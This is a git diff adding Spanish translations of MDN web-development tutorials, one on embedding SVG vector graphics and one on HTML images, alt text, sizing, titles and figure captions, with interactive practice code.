+ <li>SVG en línea es el único enfoque que le permite usar interacciones CSS (como <code>:focus</code>) y animaciones CSS en su imagen SVG (incluso en su hoja de estilo normal).</li>
+ <li>Puede convertir el marcado SVG en un hipervínculo envolviéndolo en un elemento {{htmlelement ("a")}}.</li>
+</ul>
+
+<h4 id="Cons_2">Cons</h4>
+
+<ul>
+ <li>Este método solo es adecuado si está utilizando SVG en un solo lugar. La duplicación hace que el mantenimiento requiera muchos recursos.</li>
+ <li>El código SVG adicional aumenta el tamaño de su archivo HTML.</li>
+ <li>El navegador no puede almacenar en caché SVG en línea, ya que almacenaría en caché activos de imagen normales, por lo que las páginas que incluyen la imagen no se cargarán más rápido después de que se cargue la primera página que contiene la imagen.</li>
+ <li>Puede incluir respaldo en un elemento {{svgelement ("foreignObject")}}, pero los navegadores que admiten SVG aún descargan las imágenes de respaldo. Debe sopesar si la sobrecarga adicional realmente vale la pena, solo para admitir navegadores obsoletos.</li>
+</ul>
+
+<ul>
+</ul>
+
+<h3 id="Cómo_incrustar_un_SVG_con_un_htmlelementiframe">Cómo incrustar un SVG con un {{htmlelement("iframe")}}</h3>
+
+<p>Puede abrir imágenes SVG en su navegador al igual que las páginas web. Entonces, incrustar un documento SVG con un <code>&lt;iframe&gt;</code> se realiza tal como lo estudiamos en <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De &lt;object&gt; a &lt;iframe&gt; </a><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">—</a><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"> otras tecnologías de incrustación</a>.</p>
+
+<p>Aquí hay una revisión rápida:</p>
+
+<pre class="brush: html notranslate">&lt;iframe src="triangle.svg" width="500" height="500" sandbox&gt;
+    &lt;img src="triangle.png" alt="Triangle with three unequal sides" /&gt;
+&lt;/iframe&gt;</pre>
+
+<p>Este definitivamente no es el mejor método para elegir:</p>
+
+<h4 id="Cons_3">Cons</h4>
+
+<ul>
+ <li>Los <code>iframes</code> tienen un mecanismo de respaldo, como puede ver, pero los navegadores solo muestran el respaldo si carecen por completo de soporte para los iframes.</li>
+ <li>Además, a menos que el SVG y su página web actual tengan el mismo {{glossary('origin')}}, no puede usar JavaScript en su página web principal para manipular el SVG.</li>
+</ul>
+
+<h2 id="Aprendizaje_activo_jugar_con_SVG">Aprendizaje activo: jugar con SVG</h2>
+
+<p>En esta sección de aprendizaje activo, nos gustaría que simplemente probaras a jugar con algunos SVG por diversión. En la entrada a continuación, verá que ya le hemos proporcionado algunas muestras para que pueda comenzar. También puedes ir a la <a href="/en-US/docs/Web/SVG/Element">Referencia de Elementos SVG</a>, descubrir más detalles sobre otros juguetes que puedes usar en SVG y probarlos también. Esta sección trata sobre cómo practicar sus habilidades de investigación y divertirse.</p>
+
+<p>Si se queda atascado y no puede hacer que su código funcione, siempre puede restablecerlo con el <em>botón Restablecer</em>.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="width: 95%;min-height: 200px;"&gt;
+  &lt;svg width="100%" height="100%"&gt;
+    &lt;rect width="100%" height="100%" fill="red" /&gt;
+    &lt;circle cx="100%" cy="100%" r="150" fill="blue" stroke="black" /&gt;
+    &lt;polygon points="120,0 240,225 0,225" fill="green"/&gt;
+    &lt;text x="50" y="100" font-family="Verdana" font-size="55"
+          fill="white" stroke="black" stroke-width="2"&gt;
+            Hello!
+    &lt;/text&gt;
+  &lt;/svg&gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution" disabled&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">const textarea = document.getElementById('code');
+const reset = document.getElementById('reset');
+const solution = document.getElementById('solution');
+const output = document.querySelector('.output');
+let code = textarea.value;
+let userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+const htmlSolution = '';
+let solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  const scrollPos = textarea.scrollTop;
+  const caretPos = textarea.selectionStart;
+  const front = (textarea.value).substring(0, caretPos);
+  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este artículo le ha proporcionado un recorrido rápido por qué son los gráficos vectoriales y SVG, por qué es útil conocerlos y cómo incluir SVG en sus páginas web. Nunca tuvo la intención de ser una guía completa para aprender SVG, solo un indicador para que sepa qué es SVG si lo encuentra en sus viajes por la Web. Así que no se preocupe si todavía no siente que es un experto en SVG. Hemos incluido algunos enlaces a continuación que pueden ayudarlo si desea ir y obtener más información sobre cómo funciona.</p>
+
+<p>En el próximo artículo de este módulo, exploraremos las imágenes adaptables en detalle, observando las herramientas que tiene HTML para permitirle hacer que sus imágenes funcionen mejor en diferentes dispositivos.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Tutorial/Getting_Started">Tutorial de SVG</a> en MDN</li>
+ <li><a href="http://thenewcode.com/744/Making-SVG-Responsive">Consejos rápidos para SVGs adaptables</a></li>
+ <li><a href="https://tympanus.net/codrops/2014/08/19/making-svgs-responsive-with-css/">Tutorial de Sara Soueidan sobre imágenes SVG adaptables</a></li>
+ <li><a href="https://www.w3.org/TR/SVG-access/">Beneficios de accesibilidad de SVG</a></li>
+ <li><a href="https://css-tricks.com/scale-svg/">Cómo escalar SVGs</a> (¡no es tan simple como los gráficos rasterizados!)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imágenes en HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Contenido de Audio y Video</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De &lt;object&gt; a &lt;iframe&gt; - otras tecnologías de incrustación</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Agregar gráficos vectoriales a la web</a></li>
+ <li><a href="/es/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Imágenes adaptables</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Página de presentación de Mozilla</a></li>
+</ul>
diff --git a/files/es/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/es/learn/html/multimedia_and_embedding/images_in_html/index.html
new file mode 100644
index 0000000000..22734a9b24
--- /dev/null
+++ b/files/es/learn/html/multimedia_and_embedding/images_in_html/index.html
@@ -0,0 +1,510 @@
+---
+title: Imágenes en HTML
+slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
+tags:
+  - Aprendiz
+  - Article
+  - HTML
+  - Imagenes
+  - captions
+  - figcaption
+  - img
+  - pie de imagen
+  - subtítulos
+  - texto alt
+translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
+---
+<div>
+<p>{{LearnSidebar}}</p>
+
+<p>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</p>
+</div>
+
+<p class="summary">Al principio, la web solo era texto y resultaba más bien aburrido. Afortunadamente, no pasó mucho tiempo antes de que se añadiera la capacidad de insertar imágenes (y otros tipos de contenido más interesantes) en las páginas web. Hay otros tipos de elementos multimedia que tener en cuenta, pero es lógico comenzar con el humilde elemento {{htmlelement("img")}} utilizado para insertar una imagen simple en una página web. En este artículo, veremos en detalle cómo usar este elemento, incluidos sus conceptos básicos y cómo añadir pies de imagen usando {{htmlelement("figure")}} y explicaremos cómo se relaciona con las imágenes de fondo en <a class="glossaryLink" href="/en-US/docs/Glossary/CSS" title="CSS: CSS (Cascading Style Sheets) is a declarative language that controls how webpages look in the browser.">CSS</a>.</p>
+
+<figure>
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de cómo <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, estar familiarizado con los principios básicos de HTML (como se describe en <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/iniciar">Empezar con el HTML</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender cómo insertar imágenes simples en HTML y añadirles pies de imagen, y cómo se relacionan las imágenes HTML con las imágenes de fondo de CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Cómo_ponemos_una_imagen_en_una_página_web">¿Cómo ponemos una imagen en una página web?</h2>
+
+<p>Para poner una imagen simple en una página web, utilizamos el elemento {{htmlelement("img")}}. Se trata de un elemento vacío (lo que significa que no contiene texto o etiqueta de cierre) que requiere de por lo menos de un atributo para ser utilizado: <code>src</code> (a veces denominado por su nombre completo, <em>source</em>). El atributo <code>src</code> contiene una ruta que apunta a la imagen que quieres poner en la página, que puede ser una URL relativa o absoluta, de la misma forma que el elemento {{htmlelement("a")}} contiene los valores del atributo <code>href</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Deberías leer <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks#Un_primer_acercamiento_a_URL_y_referencias">Inicio rápido a las URL y rutas</a> para refrescar tu memoria sobre URL relativas y absolutas antes de continuar.</p>
+</div>
+
+<p>Por ejemplo, si tu imagen se llama <code>dinosaur.jpg</code>, y está en el mismo directorio que tu página HTML, deberás incrustar la imagen de la siguiente manera:</p>
+
+<pre class="brush: html notranslate">&lt;img src="dinosaur.jpg"&gt;</pre>
+
+<p>Si la imagen estaba en el subdirectorio <code>images</code>, que estaba en el mismo directorio que la página HTML (lo que Google recomienda con fines de indización y posicionamiento en buscadores {{glossary("SEO")}}), entonces deberías incrustar la imagen así:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/dinosaur.jpg"&gt;</pre>
+
+<p>y así sucesivamente.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los motores de búsqueda también leen los nombres de archivo de imagen y esto cuenta para el SEO.  Por lo tanto, dale a tu imagen un nombre descriptivo; <code>dinosaur.jpg</code> es mejor que <code>img835.png</code>.</p>
+</div>
+
+<p>Puedes incrustar la imagen usando la URL absoluta, por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;img src="https://www.example.com/images/dinosaur.jpg"&gt;</pre>
+
+<p>Pero esto no tiene sentido, solo hace que el navegador trabaje más buscando la dirección IP desde el servidor DNS cada vez, etc. Casi siempre mantendrás las imágenes para tu sitio web en el mismo servidor de tu HTML.</p>
+
+<div class="warning">
+<p><strong>Advertencia:</strong> La mayoría de imágenes tienen derechos de autor. <strong>No</strong> muestres una imagen en tu página web a menos que:<br>
+ <br>
+ 1) seas dueño de la imagen,<br>
+ 2) tengas permiso escrito explícito del dueño de la imagen o <br>
+ 3) tengas suficientes pruebas de que la imagen es de dominio público.<br>
+ <br>
+ El incumplimiento de las normas de los derechos de autor es un acto ilegal y poco ético. Por lo tanto, no apuntes <strong>nunca</strong> tu atributo <code>src</code> a una imagen que esté alojada en un sitio web si no tienes el permiso para hacerlo. Esto se llama <em>hotlinking</em>. Asimismo es ilegal robar el ancho de banda de alguien.  Además, ralentiza tu página y te deja sin control sobre la imagen si la eliminan o reemplazan por otra que incluso podría resultar embarazosa.</p>
+</div>
+
+<p>Nuestro código anterior debería darnos el resultado siguiente:</p>
+
+<p><img alt="A basic image of a dinosaur, embedded in a browser, with Images in HTML written above it" src="https://mdn.mozillademos.org/files/12700/basic-image.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los elementos como {{htmlelement("img")}} y {{htmlelement("video")}} a veces se denominan <strong>elementos reemplazados</strong>. Esto se debe a que el tamaño y el contenido del elemento se especifican en un recurso externo (como un archivo de imagen o video),  no en el contenido del elemento en sí.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar el ejemplo terminado de esta sección <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html">en Github</a> (consulta también el <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html">código fuente</a>).</p>
+</div>
+
+<h3 id="Texto_alternativo">Texto alternativo</h3>
+
+<p>El próximo atributo que veremos es  <code>alt</code>. Su valor debe ser una descripción textual de la imagen para usarla en situaciones en que la imagen no puede ser vista/mostrada o tarde demasiado en mostrarse por una conexión lenta a internet. Por ejemplo, nuestro código anterior podría modificarse así:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/dinosaur.jpg"
+     alt="La cabeza y el torso de un esqueleto de dinosaurio;
+           tiene una cabeza grande con dientes largos y afilados"&gt;</pre>
+
+<p>La forma más fácil de probar el texto <code>alt</code> es escribir mal el nombre de archivo. Si, por ejemplo, escribimos el nombre archivo de nuestra imagen como <code>dinosooooor.jpg</code>, el navegador no podrá mostrar la imagen, en su lugar mostrará el texto alternativo:</p>
+
+<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<p>¿Por qué vas a ver o necesitar el texto alternativo? Puede ser por varias razones:</p>
+
+<ul>
+ <li>El usuario tiene alguna discapacidad visual y utiliza un <a href="https://es.wikipedia.org/wiki/Lector_de_pantalla">lector de pantalla</a> para leer el contenido de la web. De hecho, disponer de texto alternativo para describir las imágenes es útil para la mayoría de los usuarios.</li>
+ <li><span id="result_box" lang="es"><span>Como ya hemos dicho anteriormente, es posible que se haya escrito mal el nombre del archivo o su ruta</span></span>.</li>
+ <li>El navegador no admite el tipo de imagen. Algunas personas aún usan navegadores de solo texto, como <a href="https://es.wikipedia.org/wiki/Lynx_(navegador)">Lynx</a>, que muestran el texto del atributo <em>alt</em>.</li>
+ <li>Quieres que los motores de búsqueda puedan utilizar este texto. Por ejemplo, los motores de búsqueda pueden hacer coincidir el texto alternativo con la consulta de búsqueda.</li>
+ <li>Los usuarios han desactivado las imágenes para reducir el volumen de transferencia de datos y de distracciones. Esto sucede especialmente en teléfonos móviles y en países en que el ancho de banda es limitado y caro.</li>
+</ul>
+
+<p>¿Qué hay que escribir exactamente en el atributo <code>alt</code>? Esto depende en primer lugar de <em>por qué</em> la imagen está en ese lugar. En otras palabras, qué se pierde si la imagen no aparece:</p>
+
+<ul>
+ <li><strong>Decoración. </strong>Para las imágenes decorativas deberían utilizarse {{anch("imágenes de fondo CSS")}}. Pero si es inevitable usar HTML, la mejor forma de hacerlo es con <code>alt=""</code>. Si la imagen no es parte del contenido, el lector de pantalla no debería malgastar el tiempo en leerla.</li>
+ <li><strong>Contenido. </strong>Si tu imagen proporciona información significativa, proporciona la misma información en un<em> </em>texto alternativo (<code>alt</code>) breve. O mejor aún, en el texto principal que todos pueden ver. No escribas texto alternativo redundante. ¿Acaso no resultaría molesto para un usuario con visión ordinaria si todos los párrafos se escribieran dos veces en el contenido principal? Si la imagen se describe en el cuerpo principal del texto de modo adecuado, puedes simplemente usar <code>alt=""</code>.</li>
+ <li><strong>Enlace.</strong> Al poner una imagen dentro de una etiqueta <code>&lt;a&gt;</code> para convertirla en un enlace, aun debes proporcionar <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks#Claridad_en_las_palabras">texto de enlace accesible</a>. En tal caso podrías escribirlo dentro del mismo elemento <code>&lt;a&gt;</code>, o dentro del atributo <code>alt</code> de la imagen. Lo que mejor funcione en tu caso.</li>
+ <li><strong>Texto.</strong> No deberías poner tu texto en imágenes.  Si tu título de encabezado principal necesita, por ejemplo, un sombreado paralelo, <a href="/es/docs/Web/CSS/text-shadow">usa CSS</a> para ello en vez de poner el texto en una imagen. Pero, <em>si realmente no puedes evitarlo</em>, deberías proporcionar el texto en el atributo <code>alt</code>.</li>
+</ul>
+
+<p>En el fondo, la clave es ofrecer una experiencia usable, incluso cuando las imágenes no puedan verse. Esto asegura que ningún usuario pierda ninguna parte del contenido. Desactiva las imágenes en tu navegador y observa cómo se ven las cosas. Te darás cuenta de lo útil que resulta el texto alternativo cuando no es posible ver la imagen.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Consulta nuestra guía de <a href="/es/docs/Learn/Accessibility/HTML#Alternativas_de_texto">texto alternativo</a> para obtener más información.</p>
+</div>
+
+<h3 id="Anchura_y_altura">Anchura y altura</h3>
+
+<p>Puedes usar los atributos  ancho (<code>width</code>) y alto (<code>height</code>) para especificar la anchura y altura de tu imagen. Puedes encontrar el ancho y el alto de tu imagen de diversas maneras. Por ejemplo, en Mac puedes usar  <kbd>Cmd</kbd> + <kbd>I</kbd>  para mostrar información del archivo de imagen. Volviendo a nuestro ejemplo, podríamos hacer esto:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/dinosaur.jpg"
+     alt="La cabeza y el torso de un esqueleto de dinosaurio;
+           tiene una cabeza grande con dientes largos y afilados"
+     width="400"
+     height="341"&gt;</pre>
+
+<p>Esto no proporciona una gran diferencia en la pantalla en circunstancias normales. Pero si la imagen no se muestra, por ejemplo, porque el usuario acaba de acceder a la página y esta aún no se ha cargado, observarás que el navegador reserva un espacio para la imagen:</p>
+
+<p><img alt="The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings" src="https://mdn.mozillademos.org/files/12706/alt-text-with-width-height.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<p>Hacerlo así es bueno porque la página se carga con mayor rapidez y fluidez.</p>
+
+<p>Sin embargo, no deberías alterar el tamaño de tus imágenes utilizando atributos HTML. Las imágenes podrían verse granulosas y borrosas si estableces un tamaño demasiado grande; o bien demasiado pequeñas, y se desperdiciaría ancho de banda descargando una imagen que no se ajusta a las necesidades del usuario. La imagen también podría quedar distorsionada, si no mantienes la <a href="https://es.wikipedia.org/wiki/Relaci%C3%B3n_de_aspecto">proporción de aspecto</a> correcta. Deberías utilizar un editor de imágenes, para dar a tu imagen el tamaño adecuado, antes de colocarla en tu página web.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tienes que alterar el tamaño de una imagen es mejor usar <a href="/es/docs/Learn/CSS">CSS</a>.</p>
+</div>
+
+<h3 id="Título_de_imágenes">Título de imágenes</h3>
+
+<p>Al igual que con los enlaces, también puedes añadir atributos <code>title</code> a las imágenes para proporcionar más información de ayuda si es necesario. En nuestro ejemplo, podríamos hacer esto:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/dinosaur.jpg"
+     alt="La cabeza y el torso de un esqueleto de dinosaurio;
+           tiene una cabeza grande con dientes largos y afilados"
+     width="400"
+     height="341"
+     title="Exposición de un T-Rex en el museo de la Universidad de Manchester."&gt;</pre>
+
+<p>Esto nos da una etiqueta de ayuda (<code>tooltip</code>) como las de los enlaces:</p>
+
+<p><img alt="The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum " src="https://mdn.mozillademos.org/files/12708/image-with-title.png" style="display: block; height: 341px; margin: 0px auto; width: 400px;"></p>
+
+<p>Sin embargo, no se recomienda incluir esta propiedad en las imágenes. <code>title</code> presenta algunos problemas de accesibilidad, principalmente porque los lectores de pantalla (<em>screen readers</em>) tienen un comportamiento imprevisible y la mayoría de navegadores no la mostrarán a menos que pases el ratón por encima de la imagen (y por tanto es inútil para quien usa teclado). Si estás interesado en esta cuestión, puedes leer el artículo <a class="external" href="https://www.24a11y.com/2017/the-trials-and-tribulations-of-the-title-attribute/" rel="noopener">The Trials and Tribulations of the Title Attribute</a> de Scott O’Hara.</p>
+
+<p>Lo mejor es incluir dicha información en el texto principal del artículo, en lugar de adjuntarla en la imagen.</p>
+
+<h3 id="Aprendizaje_activo_incrustar_imágenes">Aprendizaje activo: incrustar imágenes</h3>
+
+<p>¡Ahora te toca jugar a ti! Esta sección de aprendizaje activo te mantendrá activo con un ejercicio sencillo de incrustado. Te proporcionamos una etiqueta básica {{htmlelement ("img")}} y nos gustaría que incrustes la imagen ubicada en la URL siguiente:</p>
+
+<p>https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg</p>
+
+<p>Ya hemos dicho que nunca se apuntará a imágenes de otros servidores (hotlink), pero esto es solo con fines de aprendizaje, por lo que te lo vamos a dejar hacer por esta vez.</p>
+
+<p>También nos gustaría que hagas lo siguiente:</p>
+
+<ul>
+ <li>Añadir un texto alternativo y comprobar que funciona si escribes mal la URL de la imagen.</li>
+ <li>Establecer las propiedades  <code>width</code> y <code>height</code> correctas de la imagen (pista: tiene 200px de ancho y 171px de alto), luego experimentar con otros valores para ver cuál es el efecto.</li>
+ <li>Establecer un elemento <code>title</code> en la imagen.</li>
+</ul>
+
+<p>Si te equivocas, puedes volver a empezar pulsando el botón <em>Reiniciar</em>. Si te encallas, pulsa el botón <em>Mostrar la solución</em> para ver la solución:</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;
+&lt;img&gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="A T-Rex on display in the Manchester University Museum"&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Comentar_imágenes_con_figure_y_figcaption">Comentar imágenes con <code>figure</code> y <code>figcaption</code></h2>
+
+<p>Hay varias formas en que puedes añadir un pie a tu imagen. Por ejemplo, nada te impediría hacer esto:</p>
+
+<pre class="brush: html notranslate">&lt;div class="figure"&gt;
+  &lt;img src="images/dinosaur.jpg"
+       alt="La cabeza y el torso de un esqueleto de dinosaurio;
+           tiene una cabeza grande con dientes largos y afilados"
+       width="400"
+       height="341"&gt;
+
+  &lt;p&gt;Exposición de un T-Rex en el museo de la Universidad de Manchester.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>Esto está bien. Incluye el contenido que se necesita y es muy personalizable con CSS. Pero hay un problema: no hay nada que vincule semánticamente la imagen con su título, lo que puede causar problemas a los lectores de pantalla. Por ejemplo, cuando hay 50 imágenes y leyendas, ¿qué leyenda se corresponde con cada imagen?</p>
+
+<p>Una solución mejor es utilizar los elementos HTML5 {{htmlelement("figure")}} y {{htmlelement("figcaption")}}. Estos se crearon exactamente para este propósito: proporcionar un contenedor semántico para las figuras y vincular claramente la figura con el pie. Nuestro ejemplo anterior, podría reescribirse así:</p>
+
+<pre class="notranslate">&lt;figure&gt;
+  &lt;img src="images/dinosaur.jpg"
+       alt="La cabeza y el torso de un esqueleto de dinosaurio;
+           tiene una cabeza grande con dientes largos y afilados" width="400"
+       height="341"&gt;
+
+  &lt;figcaption&gt;Exposición de un T-Rex en el museo de la Universidad de Manchester.&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>El elemento {{htmlelement("figcaption")}} dice al navegador, o a alguna tecnología de apoyo, que el texto que contiene describe la imagen que está contenida en el elemento {{htmlelement("figure")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Desde el punto de vista de la accesibilidad, los pies de imagen y el texto alternativo {{htmlattrxref('alt','img')}} cumplen funciones diferentes. Los pies de imagen benefician incluso a quien puede ver la imagen, mientras que el texto {{htmlattrxref('alt','img')}} proporciona la misma función en una imagen ausente. Por tanto, los subtítulos y el texto <code>alt</code> no deberían decir lo mismo, porque ambos aparecen si la imagen no se muestra. Desactiva las imágenes en tu navegador y observa el resultado.</p>
+</div>
+
+<p>El elemento <em>figure</em> no ha de contener una imagen necesariamente. Es una unidad de contenido independiente que:</p>
+
+<ul>
+ <li>Expresa un significado en una forma compacta y fácil de entender.</li>
+ <li>Se puede poner en varios sitios en el flujo lineal de la página.</li>
+ <li>Proporciona información esencial que da apoyo al texto principal.</li>
+</ul>
+
+<p>Un elemento <em>figure</em> podría contener varias imágenes, un trozo de código, audio, video, ecuaciones, una tabla, o cualquier otra cosa.</p>
+
+<h3 id="Aprendizaje_activo_crear_un_elemento_figure">Aprendizaje activo: crear un elemento figure</h3>
+
+<p>En esta sección de aprendizaje activo, te pedimos que tomes el código finalizado de la sección de aprendizaje activo anterior y lo conviertas en un elemento <em>figure</em>:</p>
+
+<ul>
